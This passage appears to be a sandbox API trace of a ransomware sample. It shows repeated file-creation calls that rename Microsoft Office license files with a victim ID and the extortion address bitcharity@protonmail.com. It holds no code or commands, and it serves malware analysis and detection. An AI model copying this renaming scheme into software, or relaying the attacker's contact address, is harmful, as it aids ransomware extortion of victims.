returned 0xffffffff [0250.599] CloseHandle (hObject=0x1258) returned 1 [0250.775] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.775] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.776] CloseHandle (hObject=0x1258) returned 1 [0250.777] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.777] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.777] CloseHandle (hObject=0x1258) returned 1 [0250.779] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.779] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.779] CloseHandle (hObject=0x1258) returned 1 [0250.781] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.781] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.781] CloseHandle (hObject=0x1258) returned 1 [0250.782] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.782] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.783] CloseHandle (hObject=0x1258) returned 1 [0250.784] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.784] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.784] CloseHandle (hObject=0x1258) returned 1 [0250.816] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.816] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.816] CloseHandle (hObject=0x1258) returned 1 [0250.817] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.817] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.817] CloseHandle (hObject=0x1258) returned 1 [0250.818] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.818] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.818] CloseHandle (hObject=0x1258) returned 1 [0250.819] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.819] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.819] CloseHandle (hObject=0x1258) returned 1 [0250.820] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.820] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.820] CloseHandle (hObject=0x1258) returned 1 [0250.821] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.821] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.822] CloseHandle (hObject=0x1258) returned 1 [0250.822] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.822] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.823] CloseHandle (hObject=0x1258) returned 1 [0250.824] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.824] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.824] CloseHandle (hObject=0x1258) returned 1 [0250.825] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.825] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.825] CloseHandle (hObject=0x1258) returned 1 [0250.827] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.827] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.827] CloseHandle (hObject=0x1258) returned 1 [0250.828] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.828] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.829] CloseHandle (hObject=0x1258) returned 1 [0250.830] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.830] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.830] CloseHandle (hObject=0x1258) returned 1 [0250.831] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.831] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.832] CloseHandle (hObject=0x1258) returned 1 [0250.832] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.833] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.833] CloseHandle (hObject=0x1258) returned 1 [0250.834] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.834] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.834] CloseHandle (hObject=0x1258) returned 1 [0250.835] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.835] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.835] CloseHandle (hObject=0x1258) returned 1 [0250.836] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.837] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.837] CloseHandle (hObject=0x1258) returned 1 [0250.838] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.838] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.838] CloseHandle (hObject=0x1258) returned 1 [0250.839] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.839] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.839] CloseHandle (hObject=0x1258) returned 1 [0250.840] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.840] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.120] CloseHandle (hObject=0x1258) returned 1 [0251.121] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.121] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.122] CloseHandle (hObject=0x1258) returned 1 [0251.123] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.123] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.124] CloseHandle (hObject=0x1258) returned 1 [0251.125] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.125] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.128] CloseHandle (hObject=0x1258) returned 1 [0251.129] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.129] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.130] CloseHandle (hObject=0x1258) returned 1 [0251.132] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.132] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.132] CloseHandle (hObject=0x1258) returned 1 [0251.133] SetFilePointerEx 